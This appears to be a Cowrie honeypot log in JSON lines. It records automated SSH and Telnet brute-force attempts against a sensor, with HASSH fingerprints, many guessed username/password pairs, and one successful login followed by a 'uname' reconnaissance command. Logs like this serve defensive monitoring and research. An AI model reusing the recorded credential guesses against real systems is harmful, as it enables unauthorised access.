{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:24.784023Z","src_ip":"192.109.200.237","session":"2485bc8dabea","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"1","message":"login attempt [steam/1] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:25.035711Z","src_ip":"192.109.200.237","session":"2485bc8dabea","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:25.260745Z","src_ip":"192.109.200.237","session":"2485bc8dabea","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:25.264538Z","src_ip":"192.109.200.237","session":"2485bc8dabea","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:25.352860Z","src_ip":"192.109.200.237","session":"2485bc8dabea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:25.358104Z","src_ip":"192.109.200.237","session":"2485bc8dabea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43332,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb0300317f11","protocol":"ssh","message":"New connection: 192.109.200.237:43332 (159.203.135.109:22) [session: fb0300317f11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:28.047920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:28.052740Z","src_ip":"192.109.200.237","session":"fb0300317f11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:28.135897Z","src_ip":"192.109.200.237","session":"fb0300317f11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password@123","message":"login attempt [root/Password@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:28.381780Z","src_ip":"192.109.200.237","session":"fb0300317f11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:29.466865Z","src_ip":"192.109.200.237","session":"fb0300317f11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":32820,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b3cadc2838a","protocol":"ssh","message":"New connection: 192.109.200.237:32820 (159.203.135.109:22) [session: 1b3cadc2838a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:31.337428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:31.345945Z","src_ip":"192.109.200.237","session":"1b3cadc2838a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:31.428577Z","src_ip":"192.109.200.237","session":"1b3cadc2838a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ab123456","message":"login attempt [root/Ab123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:31.676131Z","src_ip":"192.109.200.237","session":"1b3cadc2838a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:32.760483Z","src_ip":"192.109.200.237","session":"1b3cadc2838a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":32830,"dst_ip":"159.203.135.109","dst_port":22,"session":"b1c897df3ae0","protocol":"ssh","message":"New connection: 192.109.200.237:32830 (159.203.135.109:22) [session: b1c897df3ae0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:34.662874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:34.667701Z","src_ip":"192.109.200.237","session":"b1c897df3ae0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":59668,"dst_ip":"10.17.0.5","dst_port":23,"session":"0831a339d8aa","protocol":"telnet","message":"New connection: 50.6.8.71:59668 (10.17.0.5:23) [session: 0831a339d8aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:34.675206Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:34.751910Z","src_ip":"192.109.200.237","session":"b1c897df3ae0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"student","message":"login attempt [student/student] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:35.157608Z","src_ip":"192.109.200.237","session":"b1c897df3ae0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":37210,"dst_ip":"10.17.0.5","dst_port":22,"session":"c61c2eee8692","protocol":"ssh","message":"New connection: 193.37.70.224:37210 (10.17.0.5:22) [session: c61c2eee8692]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:35.316361Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:35.321360Z","src_ip":"193.37.70.224","session":"c61c2eee8692","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:35.414250Z","src_ip":"193.37.70.224","session":"c61c2eee8692","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567m","message":"login attempt [root/1234567m] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:35.692581Z","src_ip":"193.37.70.224","session":"c61c2eee8692","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.61722540855408,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:36.019015Z","src_ip":"50.6.8.71","session":"f5c9730890c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:36.246987Z","src_ip":"192.109.200.237","session":"b1c897df3ae0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:36.787176Z","src_ip":"193.37.70.224","session":"c61c2eee8692","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":32842,"dst_ip":"159.203.135.109","dst_port":22,"session":"488bbf85eff9","protocol":"ssh","message":"New connection: 192.109.200.237:32842 (159.203.135.109:22) [session: 488bbf85eff9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:38.167799Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:38.171309Z","src_ip":"192.109.200.237","session":"488bbf85eff9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:38.253420Z","src_ip":"192.109.200.237","session":"488bbf85eff9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1234","message":"login attempt [deploy/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:38.501611Z","src_ip":"192.109.200.237","session":"488bbf85eff9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:39.587041Z","src_ip":"192.109.200.237","session":"488bbf85eff9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":39266,"dst_ip":"159.203.135.109","dst_port":22,"session":"20baa97991d2","protocol":"ssh","message":"New connection: 103.176.20.57:39266 (159.203.135.109:22) [session: 20baa97991d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:41.198112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:41.202740Z","src_ip":"103.176.20.57","session":"20baa97991d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:41.449337Z","src_ip":"103.176.20.57","session":"20baa97991d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60434,"dst_ip":"159.203.135.109","dst_port":22,"session":"1521479a94e2","protocol":"ssh","message":"New connection: 192.109.200.237:60434 (159.203.135.109:22) [session: 1521479a94e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:41.456748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:41.461528Z","src_ip":"192.109.200.237","session":"1521479a94e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:41.545038Z","src_ip":"192.109.200.237","session":"1521479a94e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":60964,"dst_ip":"10.17.0.5","dst_port":23,"session":"25ac1236450a","protocol":"telnet","message":"New connection: 50.6.8.71:60964 (10.17.0.5:23) [session: 25ac1236450a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:41.615865Z"}
{"eventid":"cowrie.login.failed","username":"amit","password":"amit","message":"login attempt [amit/amit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:41.796934Z","src_ip":"192.109.200.237","session":"1521479a94e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nfytxrf","message":"login attempt [root/nfytxrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:42.192892Z","src_ip":"103.176.20.57","session":"20baa97991d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:42.883002Z","src_ip":"192.109.200.237","session":"1521479a94e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:43.440604Z","src_ip":"103.176.20.57","session":"20baa97991d2","protocol":"ssh"}
